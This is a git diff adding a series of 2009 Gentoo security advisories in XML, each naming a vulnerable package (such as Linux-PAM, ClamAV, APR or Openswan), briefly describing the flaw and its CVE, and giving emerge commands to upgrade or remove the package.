+  <affected>
+    <package name="www-client/dillo" auto="yes" arch="*">
+      <unaffected range="ge">2.1.1</unaffected>
+      <vulnerable range="lt">2.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dillo is a graphical web browser known for its speed and small
+    footprint.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tilei Wang reported an integer overflow in the Png_datainfo_callback()
+    function, possibly leading to a heap-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open an HTML document
+    containing a specially crafted, large PNG image, possibly resulting in
+    the execution of arbitrary code with the privileges of the user running
+    the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dillo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/dillo-2.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2294">CVE-2009-2294</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 28 Jul 2009 16:58:47 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Aug 2009 19:13:24 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Aug 2009 13:32:35 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-01.xml b/xml/htdocs/security/en/glsa/glsa-200909-01.xml
new file mode 100644
index 00000000..59738f2a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-01.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-01">
+  <title>Linux-PAM: Privilege escalation</title>
+  <synopsis>
+    An error in the handling of user names of Linux-PAM might allow remote
+    attackers to cause a Denial of Service or escalate privileges.
+  </synopsis>
+  <product type="ebuild">pam</product>
+  <announced>September 07, 2009</announced>
+  <revised>September 07, 2009: 01</revised>
+  <bug>261512</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-libs/pam" auto="yes" arch="*">
+      <unaffected range="ge">1.0.4</unaffected>
+      <vulnerable range="lt">1.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Linux-PAM (Pluggable Authentication Modules) is an architecture
+    allowing the separation of the development of privilege granting
+    software from the development of secure and appropriate authentication
+    schemes.
+    </p>
+  </background>
+  <description>
+    <p>
+    Marcus Granado repoted that Linux-PAM does not properly handle user
+    names that contain Unicode characters. This is related to integer
+    signedness errors in the pam_StrTok() function in libpam/pam_misc.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability to cause a Denial of
+    Service. A remote authenticated attacker could exploit this
+    vulnerability to log in to a system with the account of a user that has
+    a similar user name, but with non-ASCII characters.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Linux-PAM users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-libs/pam-1.0.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0887">CVE-2009-0887</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jul 2009 18:01:34 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 16:33:27 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:38:46 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-02.xml b/xml/htdocs/security/en/glsa/glsa-200909-02.xml
new file mode 100644
index 00000000..5c59b8b0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-02.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-02">
+  <title>libvorbis: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A processing error in libvorbis might result in the execution of arbitrary
+    code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">libvorbis</product>
+  <announced>September 07, 2009</announced>
+  <revised>September 07, 2009: 01</revised>
+  <bug>280590</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libvorbis" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3</unaffected>
+      <vulnerable range="lt">1.2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libvorbis is the reference implementation of the Xiph.org Ogg Vorbis
+    audio file format. It is used by many applications for playback of Ogg
+    Vorbis files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Lucas Adamski reported that libvorbis does not correctly process file
+    headers, related to static mode headers and encoding books.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to play a specially crafted OGG
+    Vorbis file using an application that uses libvorbis, possibly
+    resulting in the execution of arbitrary code with the privileges of the
+    user running the application, or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libvorbis users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libvorbis-1.2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2663">CVE-2009-2663</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 31 Aug 2009 02:17:32 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 31 Aug 2009 02:42:12 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:38:56 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-03.xml b/xml/htdocs/security/en/glsa/glsa-200909-03.xml
new file mode 100644
index 00000000..13f56901
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-03.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-03">
+  <title>Apache Portable Runtime, APR Utility Library: Execution of arbitrary code</title>
+  <synopsis>
+    Multiple integer overflows in the Apache Portable Runtime and its Utility
+    Library might allow for the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">apr apr-util</product>
+  <announced>September 09, 2009</announced>
+  <revised>September 09, 2009: 01</revised>
+  <bug>280514</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/apr" auto="yes" arch="*">
+      <unaffected range="ge">1.3.8</unaffected>
+      <vulnerable range="lt">1.3.8</vulnerable>
+    </package>
+    <package name="dev-libs/apr-util" auto="yes" arch="*">
+      <unaffected range="ge">1.3.9</unaffected>
+      <vulnerable range="lt">1.3.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache Portable Runtime (aka APR) provides a set of APIs for
+    creating platform-independent applications. The Apache Portable Runtime
+    Utility Library (aka APR-Util) provides an interface to functionality
+    such as XML parsing, string matching and databases connections.
+    </p>
+  </background>
+  <description>
+    <p>
+    Matt Lewis reported multiple Integer overflows in the apr_rmm_malloc(),
+    apr_rmm_calloc(), and apr_rmm_realloc() functions in misc/apr_rmm.c of
+    APR-Util and in memory/unix/apr_pools.c of APR, both occurring when
+    aligning memory blocks.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect to a malicious server
+    with software that uses the APR or act as a malicious client to a
+    server that uses the APR (such as Subversion or Apache servers),
+    possibly resulting in the execution of arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache Portable Runtime users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/apr-1.3.8&quot;</code>
+    <p>
+    All APR Utility Library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/apr-util-1.3.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2412">CVE-2009-2412</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 06 Aug 2009 13:32:21 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 06 Aug 2009 13:46:29 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 24 Aug 2009 20:40:13 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-04.xml b/xml/htdocs/security/en/glsa/glsa-200909-04.xml
new file mode 100644
index 00000000..186ccdfc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-04.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-04">
+  <title>Clam AntiVirus: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in ClamAV allow for the remote execution of
+    arbitrary code or Denial of Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>September 09, 2009</announced>
+  <revised>September 09, 2009: 01</revised>
+  <bug>264834</bug>
+  <bug>265545</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.95.2</unaffected>
+      <vulnerable range="lt">0.95.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus (short: ClamAV) is an anti-virus toolkit for UNIX,
+    designed especially for e-mail scanning on mail gateways.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been found in ClamAV:
+    </p>
+    <ul>
+    <li>The
+    vendor reported a Divide-by-zero error in the PE ("Portable
+    Executable"; Windows .exe) file handling of ClamAV
+    (CVE-2008-6680).</li>
+    <li>Jeffrey Thomas Peckham found a flaw in
+    libclamav/untar.c, possibly resulting in an infinite loop when
+    processing TAR archives in clamd and clamscan (CVE-2009-1270).</li>
+    <li>Martin Olsen reported a vulnerability in the CLI_ISCONTAINED macro
+    in libclamav/others.h, when processing UPack archives
+    (CVE-2009-1371).</li>
+    <li>Nigel disclosed a stack-based buffer overflow
+    in the "cli_url_canon()" function in libclamav/phishcheck.c when
+    processing URLs (CVE-2009-1372).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to process a
+    specially crafted UPack archive or a file containing a specially
+    crafted URL, possibly resulting in the remote execution of arbitrary
+    code with the privileges of the user running the application, or a
+    Denial of Service. Furthermore, a remote attacker could cause a Denial
+    of Service by supplying a specially crafted TAR archive or PE
+    executable to a Clam AntiVirus instance.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Clam AntiVirus users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.95.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6680">CVE-2008-6680</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1270">CVE-2009-1270</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1371">CVE-2009-1371</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1372">CVE-2009-1372</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 01 Jun 2009 22:30:28 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 09:13:38 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:38:38 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-05.xml b/xml/htdocs/security/en/glsa/glsa-200909-05.xml
new file mode 100644
index 00000000..4c87a875
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-05.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-05">
+  <title>Openswan: Denial of Service</title>
+  <synopsis>
+    Multiple vulnerabilities in the pluto IKE daemon of Openswan might allow
+    remote attackers to cause a Denial of Service.
+  </synopsis>
+  <product type="ebuild">openswan</product>
+  <announced>September 09, 2009</announced>
+  <revised>September 09, 2009: 01</revised>
+  <bug>264346</bug>
+  <bug>275233</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/openswan" auto="yes" arch="*">
+      <unaffected range="ge">2.4.15</unaffected>
+      <vulnerable range="lt">2.4.15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Openswan is an implementation of IPsec for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Openswan:
+    </p>
+    <ul>
+    <li>Gerd v. Egidy reported a NULL pointer dereference in the Dead Peer
+    Detection of the pluto IKE daemon as included in Openswan
+    (CVE-2009-0790).</li>
+    <li>The Orange Labs vulnerability research team
+    discovered multiple vulnerabilities in the ASN.1 parser
+    (CVE-2009-2185).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by sending
+    specially crafted R_U_THERE or R_U_THERE_ACK packets, or a specially
+    crafted X.509 certificate containing a malicious Relative Distinguished
+    Name (RDN), UTCTIME string or GENERALIZEDTIME string to cause a Denial
+    of Service of the pluto IKE daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Openswan users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/openswan-2.4.15&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0790">CVE-2009-0790</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2185">CVE-2009-2185</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 12 Jun 2009 22:25:11 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 16:52:25 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:39:02 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-06.xml b/xml/htdocs/security/en/glsa/glsa-200909-06.xml
new file mode 100644
index 00000000..56d7b652
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-06">
+  <title>aMule: Parameter injection</title>
+  <synopsis>
+    An input validation error in aMule enables remote attackers to pass
+    arbitrary parameters to a victim's media player.
+  </synopsis>
+  <product type="ebuild">amule</product>
+  <announced>September 09, 2009</announced>
+  <revised>September 09, 2009: 01</revised>
+  <bug>268163</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-p2p/amule" auto="yes" arch="*">
+      <unaffected range="ge">2.2.5</unaffected>
+      <vulnerable range="lt">2.2.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    aMule is an eMule-like client for the eD2k and Kademlia networks,
+    supporting multiple platforms.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sam Hocevar discovered that the aMule preview function does not
+    properly sanitize file names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to download a file with a
+    specially crafted file name to inject arbitrary arguments to the
+    victim's video player.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All aMule users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-p2p/amule-2.2.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1440">CVE-2009-1440</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 28 Jul 2009 16:58:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 08:22:54 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:38:32 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-07.xml b/xml/htdocs/security/en/glsa/glsa-200909-07.xml
new file mode 100644
index 00000000..96d6baa0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-07.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-07">
+  <title>TkMan: Insecure temporary file usage</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in TkMan, allowing for
+    symlink attacks.
+  </synopsis>
+  <product type="ebuild">tkman</product>
+  <announced>September 09, 2009</announced>
+  <revised>September 09, 2009: 01</revised>
+  <bug>247540</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/tkman" auto="yes" arch="*">
+      <unaffected range="ge">2.2-r1</unaffected>
+      <vulnerable range="lt">2.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TkMan is a graphical, hypertext manual page and Texinfo browser for
+    UNIX.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported that TkMan does not handle the
+    "/tmp/tkman#####" and "/tmp/ll" temporary files securely.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TkMan users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/tkman-2.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5137">CVE-2008-5137</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 19 Jul 2009 18:23:29 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 07:32:36 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:37:41 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-08.xml b/xml/htdocs/security/en/glsa/glsa-200909-08.xml
new file mode 100644
index 00000000..b6469a76
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-08.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-08">
+  <title>C* music player: Insecure temporary file usage</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in the C* music player,
+    allowing for symlink attacks.
+  </synopsis>
+  <product type="ebuild">cmus</product>
+  <announced>September 09, 2009</announced>
+  <revised>September 09, 2009: 01</revised>
+  <bug>250474</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-sound/cmus" auto="yes" arch="*">
+      <unaffected range="ge">2.2.0-r1</unaffected>
+      <vulnerable range="lt">2.2.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The C* Music Player (cmus) is a modular and very configurable
+    ncurses-based audio player.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported that cmus-status-display does not handle
+    the "/tmp/cmus-status" temporary file securely.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All C* music player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/cmus-2.2.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5375">CVE-2008-5375</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 23 Jun 2009 20:29:45 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 07:44:23 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:37:47 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-09.xml b/xml/htdocs/security/en/glsa/glsa-200909-09.xml
new file mode 100644
index 00000000..f901c03a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-09.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-09">
+  <title>Screenie: Insecure temporary file usage</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in Screenie, allowing
+    for symlink attacks.
+  </synopsis>
+  <product type="ebuild">screenie</product>
+  <announced>September 09, 2009</announced>
+  <revised>September 09, 2009: 01</revised>
+  <bug>250476</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-misc/screenie" auto="yes" arch="*">
+      <unaffected range="ge">1.30.0-r1</unaffected>
+      <vulnerable range="lt">1.30.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Screenie is a small screen frontend that is designed to be a session
+    handler.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported that Screenie does not handle
+    "/tmp/.screenie.#####" temporary files securely.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Screenie users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-misc/screenie-1.30.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5371">CVE-2008-5371</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 12 Jun 2009 22:09:23 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 07:52:34 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:37:54 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-10.xml b/xml/htdocs/security/en/glsa/glsa-200909-10.xml
new file mode 100644
index 00000000..e6c011a3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-10.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-10">
+  <title>LMBench: Insecure temporary file usage</title>
+  <synopsis>
+    Multiple insecure temporary file usage issues have been reported in
+    LMBench, allowing for symlink attacks.
+  </synopsis>
+  <product type="ebuild">lmbench</product>
+  <announced>September 09, 2009</announced>
+  <revised>September 09, 2009: 01</revised>
+  <bug>246015</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-benchmarks/lmbench" auto="yes" arch="*">
+      <vulnerable range="le">3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LMBench is a suite of simple, portable benchmarks for UNIX platforms.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported that the rccs and STUFF scripts do not
+    handle "/tmp/sdiff.#####" temporary files securely. NOTE: There might
+    be further occurances of insecure temporary file usage.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    LMBench has been removed from Portage. We recommend that users unmerge
+    LMBench:
+    </p>
+    <code>
+    # emerge --unmerge app-benchmarks/lmbench</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4968">CVE-2008-4968</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jul 2009 10:54:15 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Aug 2009 07:58:27 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 Aug 2009 03:38:05 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200909-11.xml b/xml/htdocs/security/en/glsa/glsa-200909-11.xml
new file mode 100644
index 00000000..26e36b1d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200909-11.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200909-11">
+  <title>GCC-XML: Insecure temporary file usage</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in GCC-XML allowing for
+    symlink attacks.
+  </synopsis>
+  <product type="ebuild">gccxml</product>
+  <announced>September 09, 2009</announced>
+  <revised>September 09, 2009: 01</revised>
+  <bug>245765</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-cpp/gccxml" auto="yes" arch="*">
+      <unaffected range="ge">0.9.0_pre20090516</unaffected>
+      <vulnerable range="lt">0.9.0_pre20090516</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GCC-XML is an XML output extension to the C++ front-end of GCC.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported that find_flags in GCC-XML does not handle
+    "/tmp/*.cxx" temporary files securely.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GCC-XML users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-cpp/gccxml-0.9.0_pre20090516&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4957">CVE-2008-4957</uri>
+  </references>
